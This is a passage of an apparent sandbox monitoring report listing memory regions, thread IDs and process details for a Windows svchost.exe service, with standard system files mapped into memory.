2827 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 2828 start_va = 0x2a30000 end_va = 0x2aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a30000" filename = "" Region: id = 2829 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Thread: id = 61 os_tid = 0xfc8 Thread: id = 62 os_tid = 0x970 Thread: id = 63 os_tid = 0x8d0 Thread: id = 64 os_tid = 0x824 Thread: id = 65 os_tid = 0x5c4 Thread: id = 66 os_tid = 0x388 Thread: id = 67 os_tid = 0x5bc Thread: id = 68 os_tid = 0x6b4 Thread: id = 69 os_tid = 0x56c Thread: id = 70 os_tid = 0x768 Thread: id = 71 os_tid = 0x7e4 Thread: id = 72 os_tid = 0x6b8 Thread: id = 73 os_tid = 0x620 Thread: id = 74 os_tid = 0x5b0 Thread: id = 75 os_tid = 0x5a8 Thread: id = 76 os_tid = 0x59c Thread: id = 77 os_tid = 0x51c Thread: id = 78 os_tid = 0x124 Thread: id = 79 os_tid = 0x16c Thread: id = 80 os_tid = 0x12c Thread: id = 140 os_tid = 0xc1c Thread: id = 144 os_tid = 0x974 Thread: id = 145 os_tid = 0x5e4 Thread: id = 170 os_tid = 0xdd0 Thread: id = 174 os_tid = 0xdc4 Thread: id = 187 os_tid = 0xe1c Thread: id = 188 os_tid = 0xe10 Thread: id = 190 os_tid = 0xe00 Thread: id = 191 os_tid = 0xe38 Thread: id = 192 os_tid = 0xe3c Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x89ef000" os_pid = "0x368" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d967" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1323 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1324 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 1325 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1326 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1327 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1328 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1329 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1330 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1331 start_va = 0xf0000 end_va = 0xf0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshtcpip.dll.mui" filename = "\\Windows\\System32\\en-US\\wshtcpip.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshtcpip.dll.mui") Region: id = 1332 start_va = 0x100000 end_va = 0x100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wship6.dll.mui" filename = "\\Windows\\System32\\en-US\\wship6.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wship6.dll.mui") Region: id = 1333 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1334 start_va = 0x120000 end_va = 0x120fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 1335 start_va = 0x130000 end_va = 0x149fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1336 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1337 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 1338 start_va = 0x170000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1339 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1340 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 1341 start_va = 0x210000 end_va = 0x21afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 1342 start_va = 0x220000 end_va = 0x22cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 1343 start_va = 0x230000 end_va = 0x233fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskcomp.dll.mui" filename = "\\Windows\\System32\\en-US\\taskcomp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\taskcomp.dll.mui") Region: id = 1344 start_va = 0x240000 end_va = 0x249fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schedsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\schedsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\schedsvc.dll.mui") Region: id = 1345 start_va = 0x250000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1346 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 1347 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 1348 start_va = 0x460000 end_va = 0x461fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1349 start_va = 0x470000 end_va = 0x473fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1350 start_va = 0x480000 end_va = 0x481fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 1351 start_va = 0x490000 end_va = 0x493fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1352 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 1353 start_va = 0x4b0000 end_va = 0x637fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 1354 start_va = 0x640000 end_va = 0x7c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 1355 start_va = 0x7d0000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 1356 start_va = 0x890000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000015.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db") Region: id = 1357 start_va = 0x8c0000 end_va = 0x8cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 1358 start_va = 0x8d0000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 1359 start_va = 0x950000 end_va = 0x957fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 1360 start_va = 0x960000 end_va = 0x960fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 1361 start_va = 0x970000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 1362 start_va = 0x980000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000980000" filename = "" Region: id = 1363 start_va = 0x990000 end_va = 0x99ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 1364 start_va = 0x9a0000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 1365 start_va = 0x9b0000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009b0000" filename = "" Region: id = 1366 start_va = 0x9c0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009c0000" filename = "" Region: id = 1367 start_va = 0x9d0000 end_va = 0x9d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009d0000" filename = "" Region: id = 1368 start_va = 0x9e0000 end_va = 0x9e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1369 start_va = 0x9f0000 end_va = 0xa0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 1370 start_va = 0xa10000 end_va = 0xa15fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netcfgx.dll.mui" filename = "\\Windows\\System32\\en-US\\netcfgx.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netcfgx.dll.mui") Region: id = 1371 start_va = 0xa20000 end_va = 0xa20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 1372 start_va = 0xa30000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 1373 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1374 start_va = 0xac0000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1375 start_va = 0xbc0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 1376 start_va = 0xbd0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 1377 start_va = 0xbe0000 end_va = 0xbe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 1378 start_va = 0xc70000 end_va = 0xf3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1379 start_va = 0xf40000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 1380 start_va = 0xfc0000 end_va = 0xfc1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 1381 start_va = 0xfd0000 end_va = 0xfd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 1382 start_va = 0xfe0000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 1383 start_va = 0x1060000 end_va = 0x10c5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1384 start_va = 0x10d0000 end_va = 0x114ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010d0000" filename = "" Region: id = 1385 start_va = 0x1150000 end_va = 0x11cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 1386 start_va = 0x11d0000 end_va = 0x11dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011d0000" filename = "" Region: id = 1387 start_va = 0x11e0000 end_va = 0x125ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 1388 start_va = 0x1260000 end_va = 0x12dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 1389 start_va = 0x12e0000 end_va = 0x12effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012e0000" filename = "" Region: id = 1390 start_va = 0x12f0000 end_va = 0x13effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012f0000" filename = "" Region: id = 1391 start_va = 0x13f0000 end_va = 0x146ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 1392 start_va = 0x1470000 end_va = 0x1477fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001470000" filename = "" Region: id = 1393 start_va = 0x1480000 end_va = 0x14fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 1394 start_va = 0x1500000 end_va = 0x157ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 1395 start_va = 0x1580000 end_va = 0x158ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001580000" filename = "" Region: id = 1396 start_va = 0x1590000 end_va = 0x160ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 1397 start_va = 0x1610000 end_va = 0x161ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001610000" filename = "" Region: id = 1398 start_va = 0x1620000 end_va = 0x169ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001620000" filename = "" Region: id = 1399 start_va = 0x16a0000 end_va = 0x16affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1400 start_va = 0x16b0000 end_va = 0x172ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 1401 start_va = 0x1730000 end_va = 0x173ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1402 start_va = 0x1740000 end_va = 0x174ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001740000" filename = "" Region: id = 1403 start_va = 0x1750000 end_va = 0x17cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001750000" filename = "" Region: id = 1404 start_va = 0x17d0000 end_va = 0x17d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 1405 start_va = 0x17e0000 end_va = 0x17fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 1406 start_va = 0x1800000 end_va = 0x1802fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wuaueng.dll.mui" filename = "\\Windows\\System32\\en-US\\wuaueng.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wuaueng.dll.mui") Region: id = 1407 start_va = 0x1810000 end_va = 0x1810fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001810000" filename = "" Region: id = 1408 start_va = 0x1820000 end_va = 0x182ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1409 start_va = 0x1850000 end_va = 0x18cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001850000" filename = "" Region: id = 1410 start_va = 0x18d0000 end_va = 0x18d7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018d0000" filename = "" Region: id = 1411 start_va = 0x18e0000 end_va = 0x18effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018e0000" filename = "" Region: id = 1412 start_va = 0x18f0000 end_va = 0x18fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018f0000" filename = "" Region: id = 1413 start_va = 0x1900000 end_va = 0x197ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 1414 start_va = 0x1980000 end_va = 0x1987fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001980000" filename = "" Region: id = 1415 start_va = 0x1990000 end_va = 0x199ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001990000" filename = "" Region: id = 1416 start_va = 0x19b0000 end_va = 0x1a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019b0000" filename = "" Region: id = 1417 start_va = 0x1a80000 end_va = 0x1afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a80000" filename = "" Region: id = 1418 start_va = 0x1b00000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 1419 start_va = 0x1c00000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 1420 start_va = 0x1d20000 end_va = 0x1d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 1421 start_va = 0x1f00000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 1422 start_va = 0x2010000 end_va = 0x20cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1423 start_va = 0x20f0000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 1424 start_va = 0x2100000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002100000" filename = "" Region: id = 1425 start_va = 0x2110000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002110000" filename = "" Region: id = 1426 start_va = 0x2120000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002120000" filename = "" Region: id = 1427 start_va = 0x2130000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002130000" filename = "" Region: id = 1428 start_va = 0x2140000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002140000" filename = "" Region: id = 1429 start_va = 0x2150000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002150000" filename = "" Region: id = 1430 start_va = 0x2190000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 1431 start_va = 0x22d0000 end_va = 0x234ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 1432 start_va = 0x2360000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 1433 start_va = 0x2410000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 1434 start_va = 0x24a0000 end_va = 0x251ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 1435 start_va = 0x2560000 end_va = 0x25dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 1436 start_va = 0x2680000 end_va = 0x277ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 1437 start_va = 0x27d0000 end_va = 0x284ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 1438 start_va = 0x2850000 end_va = 0x288ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002850000" filename = "" Region: id = 1439 start_va = 0x2890000 end_va = 0x28cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002890000" filename = "" Region: id = 1440 start_va = 0x2960000 end_va = 0x29dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 1441 start_va = 0x29e0000 end_va = 0x29effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029e0000" filename = "" Region: id = 1442 start_va = 0x29f0000 end_va = 0x2a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 1443 start_va = 0x2a70000 end_va = 0x2aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 1444 start_va = 0x2b40000 end_va = 0x2bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 1445 start_va = 0x2bd0000 end_va = 0x2bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 1446 start_va = 0x2ca0000 end_va = 0x2d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ca0000" filename = "" Region: id = 1447 start_va = 0x2d20000 end_va = 0x2e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d20000" filename = "" Region: id = 1448 start_va = 0x2e60000 end_va = 0x2edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 1449 start_va = 0x2ee0000 end_va = 0x2fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ee0000" filename = "" Region: id = 1450 start_va = 0x2fe0000 end_va = 0x31dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fe0000" filename = "" Region: id = 1451 start_va = 0x3210000 end_va = 0x328ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003210000" filename = "" Region: id = 1452 start_va = 0x32b0000 end_va = 0x332ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000032b0000" filename = "" Region: id = 1453 start_va = 0x3410000 end_va = 0x348ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003410000" filename = "" Region: id = 1454 start_va = 0x34d0000 end_va = 0x354ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034d0000" filename = "" Region: id = 1455 start_va = 0x35a0000 end_va = 0x361ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 1456 start_va = 0x37a0000 end_va = 0x381ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037a0000" filename = "" Region: id = 1457 start_va = 0x3820000 end_va = 0x389ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003820000" filename = "" Region: id = 1458 start_va = 0x38c0000 end_va = 0x393ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038c0000" filename = "" Region: id = 1459 start_va = 0x3940000 end_va = 0x3d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003940000" filename = "" Region: id = 1460 start_va = 0x3d40000 end_va = 0x3e3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003d40000" filename = "" Region: id = 1461 start_va = 0x3e50000 end_va = 0x3ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e50000" filename = "" Region: id = 1462 start_va = 0x3ee0000 end_va = 0x3f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ee0000" filename = "" Region: id = 1463 start_va = 0x3fa0000 end_va = 0x401ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fa0000" filename = "" Region: id = 1464 start_va = 0x4030000 end_va = 0x40affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004030000" filename = "" Region: id = 1465 start_va = 0x40c0000 end_va = 0x413ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040c0000" filename = "" Region: id = 1466 start_va = 0x4140000 end_va = 0x433ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004140000" filename = "" Region: id = 1467 start_va = 0x43a0000 end_va = 0x441ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 1468 start_va = 0x44e0000 end_va = 0x455ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044e0000" filename = "" Region: id = 1469 start_va = 0x4560000 end_va = 0x465ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004560000" filename = "" Region: id = 1470 start_va = 0x4660000 end_va = 0x46dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004660000" filename = "" Region: id = 1471 start_va = 0x46e0000 end_va = 0x46effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000046e0000" filename = "" Region: id = 1472 start_va = 0x46f0000 end_va = 0x47effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000046f0000" filename = "" Region: id = 1473 start_va = 0x47f0000 end_va = 0x48effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000047f0000" filename = "" Region: id = 1474 start_va = 0x4980000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004980000" filename = "" Region: id = 1475 start_va = 0x4a00000 end_va = 0x4afffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004a00000" filename = "" Region: id = 1476 start_va = 0x4b00000 end_va = 0x4bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b00000" filename = "" Region: id = 1477 start_va = 0x4c00000 end_va = 0x5bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = 